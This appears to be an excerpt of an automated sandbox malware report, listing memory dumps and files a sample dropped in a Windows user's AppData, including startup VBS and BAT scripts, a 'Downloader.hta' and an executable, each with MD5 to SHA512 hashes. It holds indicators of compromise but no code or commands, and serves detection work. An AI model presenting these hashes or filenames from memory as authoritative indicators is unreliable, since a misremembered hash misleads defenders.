memory/876-30-0x00007FFA49280000-0x00007FFA49D42000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | df472dcddb36aa24247f8c8d8a517bd7 |
| SHA1 | 6f54967355e507294cbc86662a6fbeedac9d7030 |
| SHA256 | e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6 |
| SHA512 | 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca |
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_313.vbs
| MD5 | 9060b4ba1e8991f1d0aa5cd0eb4c2356 |
| SHA1 | c96bed4a46a6afcd90a2488a4462c2543264a4ee |
| SHA256 | 6e41be19c1bd85535fa7b9e7bff0bfd06018b52dceb93e301618171c07c46fd3 |
| SHA512 | b45f369c9d2c4286ccc48b37d17d7ad7624402bb706ccf53a02da7540b2dca869fbeff5b8cb8a9389bc26280753ba21494ea53ee124600792d019df184068716 |
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_313.bat
| MD5 | 537886f4e49111f326e5d90e4c38c7d1 |
| SHA1 | 57b09c800cba244e68d317a0960f041aee468360 |
| SHA256 | dc4ad7f04bd7f277494092d4db0c337b1b4bbe5d0bc8a667babf5f3045144416 |
| SHA512 | 0deb228bf17e218fdf7f98f49f89c1f25ee059c95887a697afbe64acbf3411f022eb80ee5349e8e44658511609e0c585aa501cb645439bc97088ba169f7c8107 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
| MD5 | 3ec0d76d886b2f4b9f1e3da7ce9e2cd7 |
| SHA1 | 68a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea |
| SHA256 | 214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5 |
| SHA512 | a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6 |
memory/1044-47-0x00007FFA49280000-0x00007FFA49D42000-memory.dmp
memory/3276-48-0x0000000002FD0000-0x0000000002FFA000-memory.dmp
memory/2236-99-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/2612-101-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/1440-104-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/1236-111-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/2552-106-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/832-105-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/2656-110-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/2064-109-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/1488-108-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/1120-107-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/1760-102-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/2280-100-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/3456-103-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/1300-98-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/1320-97-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/1676-96-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/3276-95-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp
memory/1548-142-0x0000021CBA390000-0x0000021CBA3CC000-memory.dmp
C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe
| MD5 | 2da779eff5b744fb55630f1fea103c69 |
| SHA1 | 27451e6cf9c69908e8ee6a4b373a31a14a83807e |
| SHA256 | 6892baef0e4f6221b3cf66d16effaa88c79e985e41daf9f125b83489bb49c4bd |
| SHA512 | 63b6e232d03455bc6c9aff13dcf4eaf0c7e2b423bb3e00c32a06a23f623f80ffbfb43e08827494948825ece10fd59e52ac91ded6e206197f97431a36eb9f22d5 |
memory/4764-155-0x0000000000130000-0x0000000000150000-memory.dmp
C:\Users\Admin\AppData\Roaming\Downloader.hta
| MD5 | 4ec749a8c1d7d0a4be501465d297d3dc |
| SHA1 | d7727cb4dc96d653bce6c6bbe70ff171ecc197b7 |
| SHA256 | 7bd2ea1be121e862cc93c8c41429d0f9d1d3b57478e586bbeed7d3d3be3a96f6 |
| SHA512 | 38d4ca973a3da55453dd37cb8965db223d42b03493b8d5390ab58cc3b53df1405119663f91bcef2ce2efc082ea17b0021c407eb65c6076d127408f2ff2c7d44e |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | f65feb0fbbd0fcb9da91d117a38e4f31 |
| SHA1 | 95b1256dd050df6d555a4d06d4dc7ac542b6a070 |
| SHA256 | cb0bff45abfcccadc000e77840ccf5004ae4197a8d98baab877e6e9c238bba0c |
| SHA512 | 0715ba19e75a60eeb6cf98f4bc80980f1f1e681bd69d3ce242bf1c50787b82eb99064de0c0753c4259dcc8837a65ac2b7c84b3c1f114200cb252c05e448b1776 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d0a4a3b9a52b8fe3b019f6cd0ef3dad6 |
| SHA1 | fed70ce7834c3b97edbd078eccda1e5effa527cd |
| SHA256 | 21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31 |
| SHA512 | 1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | f8c40f7624e23fa92ae2f41e34cfca77 |
| SHA1 | 20e742cfe2759ac2adbc16db736a9e143ca7b677 |
| SHA256 | c51a52818a084addbfa913d2bb4bb2b0e60c287a4cf98e679f18b8a521c0aa7b |
| SHA512 | f1da3ec61403d788d417d097a7ed2947203c6bff3cf1d35d697c31edecdf04710b3e44b2aa263b886e297b2ce923fea410ccc673261928f1d0cd81252740dbe7 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 4ae54c3a00d1d664f74bfd4f70c85332 |
| SHA1 | 67f3ed7aaea35153326c1f907c0334feef08484c |
| SHA256 | 1e56a98f74d4a604bef716b47ef730d88f93aec57a98c89aa4423394cbc95b5c |
| SHA512 | b3bbdefeaadbdaac00f23ce3389bbd3b565bd7e0079aeebf3e4afba892382e1cd3896c00bb2e5a98146ac593f9bdc5568d0bd08c5b0139f0814b1a38911c3889 |
memory/1864-207-0x0000025451240000-0x0000025451256000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
| MD5 | 2706338be57957c36e522aea195dfb67 |
| SHA1 | 5edb5ce823cee667af3f22504011a43586ed7e47 |
| SHA256 | dc0bcdee529306672127ab14f0221e47c036401da351396f39aaa9adb1c0ba45 |
| SHA512 | 4b3ca6a9d8632e176560dfbe77a3b6988a1af4783d5df8773438f133136a486d49a90bf496c79abd4f60460edaa37236736ec464dcbc408883d6113eefd34dc3 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
| MD5 | 58c16aef4a0ab99e4b21c755de99f3d1 |
| SHA1 | 033f9aa1f6738163c8ad2698e6461c29bb1892e1 |
| SHA256 | 20948b155843e982cc1d8f1d287b06f763f14ce27f368acef42c27a9e24f6726 |
| SHA512 | 139acd86950a128920b5d94260ec7c95701407aaf3a5e11ba6a6dcceaf40d51bc44a7a84aa6f71ba6750de3d38f1bdd5bac0180a7872b1ce3886d59dcf401b5c |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E943B0FFA8084B6B254AAF787773AA42_D4E29B2355F9CFB2431676E87E1A6DFC
| MD5 | 892dd0e625446f2923a7159c9de8850f |
| SHA1 | e2aa449b8ae290a7c7c64579a225bf701cce39f6 |
| SHA256 | 79529b6a5d751f8687a06d5ccc072f395f5bb1675814a47f1aea005ab5fae1ed |
| SHA512 | 975c35fde4b04599317a08f2ec9af18ffa2bc75d28101128816d1d114e272b3bcb88a2784c923b9f9cc1d44d0fbcc777d2859c6afc48b709ff3c60151f0025df |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A37B8BA80004D3266CB4D93B2052DC10_A93CE4618EE38C3485BA7B27239D573A
| MD5 | c964f98c7b2c2658f0598b7a4aae075b |
| SHA1 | 3150fab0d158dc83dbaced24786cd81ad2a0b5f9 |
| SHA256 | abee47e1e1721345a0c5e33e53370f1614c404a6b71506cad4d31579d0efb0db |
| SHA512 | a53231618c8f8bd23d0401ae5f08883de6da6411e4ccc1fabc43dd755eb4fd7ef9044b2c861a635424eb672a0bbec47f932e6019bdee1b7b2f1c63720955244e |